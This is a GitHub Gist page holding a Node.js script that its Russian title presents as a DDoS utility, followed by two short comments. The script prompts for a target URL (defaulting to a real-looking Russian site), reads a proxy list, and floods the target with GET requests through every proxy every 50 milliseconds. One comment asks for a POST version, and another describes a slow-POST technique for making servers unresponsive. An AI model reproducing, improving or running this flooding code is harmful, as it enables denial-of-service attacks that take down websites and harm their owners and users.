Created
November 20, 2012 09:19
-
-
Save venomjke/4116912 to your computer and use it in GitHub Desktop.
Утилита для организации DDoS на базе Node.js
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
var request = require('request'), | |
util = require('util'), | |
fs = require('fs'), | |
events = require('events'); | |
var attackUrl = 'http://ispi.ru/'; | |
var proxyLists = []; | |
var proxyFile = __dirname+'/proxylist.txt'; | |
var e = new events.EventEmitter; | |
function ask(question,format,callback){ | |
var stdin = process.stdin,stdout = process.stdout; | |
stdin.resume(); | |
stdin.setEncoding('utf8'); | |
stdout.write(question+' : '); | |
stdin.once('data',function(data){ | |
var data = data.toString().trim(); | |
if(format.test(data)){ | |
callback(data); | |
}else{ | |
stdout.write("Ввод должен соответствовать: "+format+"\n"); | |
ask(question,format,callback); | |
} | |
}) | |
} | |
function doAttack(){ | |
if(fs.existsSync(proxyFile)){ | |
var file = fs.readFileSync(proxyFile,'utf8'); | |
if(file){ | |
proxyLists = file.split('\n'); | |
util.debug('Список proxy загружен '+proxyLists); | |
setInterval(function(){ | |
for(var i in proxyLists){ | |
(function(i){ | |
request( | |
{ | |
method:'GET', | |
url:attackUrl, | |
proxy:'http://'+proxyLists[i] | |
}, | |
function(err,response,body){ | |
if(!err){ | |
if(response.statusCode == 200){ | |
util.debug('Страница по адресу '+attackUrl+' загружена.'); | |
return; | |
} | |
util.debug('Страницу загрузить не удалось:['+response.statusCode+']'); | |
return; | |
} | |
e.emit('error',err); | |
} | |
); | |
})(i); | |
} | |
},50); | |
} | |
} | |
}; | |
e.on('error',function(err){ | |
console.log(err); | |
}); | |
try{ | |
ask("Введите url атакуемого ресурса",/^http:\/\/(.*)\.(.*)$/,function(url){ | |
attackUrl = url; | |
doAttack(); | |
}); | |
}catch(e){ | |
console.log(e); | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Привет. есть ли подобный скрипт для POST
opening lots of simultaneous POST connections to a server, specifying a long Content-Length, and feeding data to the server slowly can cause a mis-configured server to be made unresponsive.